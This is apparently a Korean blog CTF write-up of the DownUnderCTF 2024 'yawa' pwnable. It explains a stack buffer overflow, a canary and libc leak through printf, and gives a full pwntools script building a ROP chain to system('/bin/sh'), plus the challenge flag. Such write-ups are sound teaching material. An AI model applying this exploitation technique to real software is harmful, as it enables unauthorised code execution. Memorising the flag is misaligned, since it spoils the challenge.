슬기로운 해커 생활

Pwnable

[CTF] DownUnderCTF - yawa

Tjdmin1 2024. 7. 11. 23:38

2024년 DownUnderCTF에 출제된 문제입니다.

Analysis


main Function
int main() {
    init();

    char name[88];
    int choice;

    while(1) {
        choice = menu();
        if(choice == 1) {
            read(0, name, 0x88);
        } else if(choice == 2) {
            printf("Hello, %s\n", name);
        } else {
            break;
        }
    }
}

코드 자체는 쉽습니다.

 

1. menu에서 할 일을 선택해 choice로 넘겨줌

2. choice가 1이면 read로 0x88만큼 name에다가 Input을 함

3. choice가 2면 name을 출력함

4. 그게 다 아닐 시 멈추고 프로그램 종료

 

이렇게 간단한 로직인데요, menu 함수를 봐보겠습니다.

menu Function
int menu() {
    int choice;
    puts("1. Tell me your name");
    puts("2. Get a personalised greeting");
    printf("> ");
    scanf("%d", &choice);
    return choice;
}

2개의 menu가 보입니다.

 

1. name이라는 변수에 입력받는 menu

2. name에 맞춰서 인사하는 menu

 

이렇게 두 가지가 있습니다.

Mitigation

yawa Mitigation

Full RELRO + Canary + NX + PIE 보호기법이 걸려있습니다.

참고로 Beginner Pwnable 문제였습니다.

Vulnerability


main 함수를 보면 name에 read를 할 때 원래 사이즈인 88을 넘어 0x88만큼 입력을 받고 있습니다.

즉 Buffer Overflow라는 취약점이 있습니다.

 

Buffer Overflow를 이용하여 Memory Leak으로 Stack Canary와 Libc Leak을 할 수 있겠다는 생각이 들었습니다.

어차피 Stack Canary만 맞춰주면 에러는 안 뜨니까...

 

Libc Leak 후 System 주소를 찾아 Gadget과 함께 ROP를 진행해 주면 완벽하겠다는 생각이 들었습니다!

 

Dynamic Linker와 Libc가 함께 포함되어 있어 문제 개발 환경과 비슷하기 때문에 Libc Leak을 할 때 좀 더 편했습니다.

read를 하기 전까지 EIP를 옮겨주고 stack의 상황을 확인해 봤습니다.

여기서 보이는 점은 ret에 있는 값에 Offset값 N을 더해주면 __libc_start_main의 주소 값이 된다는 것입니다.

__libc_start_main Address : 0x7ffff7dbbdc0
ret Address : 0x7ffff7dbbd90
__libc_start_main - ret = 0x30

 

결국엔 Stack Canary를 구해 ret전 SFP까지만 채워주면 ret를 2번째 menu로 볼 수 있게 됩니다.

 

※ printf 함수는 \0 즉 Null 바이트 이전까지 출력해 주는데, 이 특성을 이용함

 

따라서 (ret + 0x30) - libc.symbols['__libc_start_main]이 값은 libc_base가 됩니다.


Gadget은 Libc의 Gadget을 이용하겠습니다. ( yawa 바이너리엔 쓸만한 Gadget이 없음 )

Exploit


Solve.py

from pwn import *
import struct

#p = process('./yawa')
p = remote('2024.ductf.dev', 30010)
e = ELF('./yawa')
libc = ELF('./libc.so.6')

p.sendlineafter(b'> ', b'1')
p.send(b'A'*89)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Hello, ')
p.recvuntil(b'A'*89)
canary = u64(b'\x00'+p.recv(7))

print(hex(canary))

p.sendlineafter(b'> ', b'1')
p.send(b'A'*88+b'B'*8+b'C'*8)
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'Hello, ')
p.recvuntil(b'A'*88)
p.recvuntil(b'B'*8)
p.recvuntil(b'C'*8)
libc_start_main = u64(p.recv(6) + b'\x00\x00')+0x30

print(hex(libc_start_main))

libc_base = libc_start_main - libc.symbols['__libc_start_main']
system_func = libc_base + libc.symbols['system']
ret_gadget = libc_base + 0x0000000000029139
pop_rdi_gadget = libc_base + 0x000000000002a3e5
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

p.sendlineafter(b'> ', b'1')
p.send(b'A'*88+p64(canary)+b'C'*8+p64(ret_gadget)+p64(pop_rdi_gadget)+p64(bin_sh_addr)+p64(system_func))
p.sendlineafter(b'> ', b'3')
p.interactive()

1. Memory Leak 후 Stack Canary 구하기

2. Memory Leak 후 ret 값 구하기

3. ret + 0x30으로 __libc_start_main 주소 구하기

4. __libc_start_main - libc.symbols['__libc_start_main']의 값으로 libc base 값 구하기

5. libc_base를 바탕으로 System 함수 주소, /bin/sh 주소, Gadget 주소 구하기

6. Buf Size만큼 공간 채우고 Canary 넣고 ret Gadget + pop rdi Gadget + /bin/sh 주소 + System 함수 주소로 이루어진 Payload를 날림

7. Exploit 성공!

 

FLAG : DUCTF{Hello,AAAAAAAAAAAAAAAAAAAAAAAAA}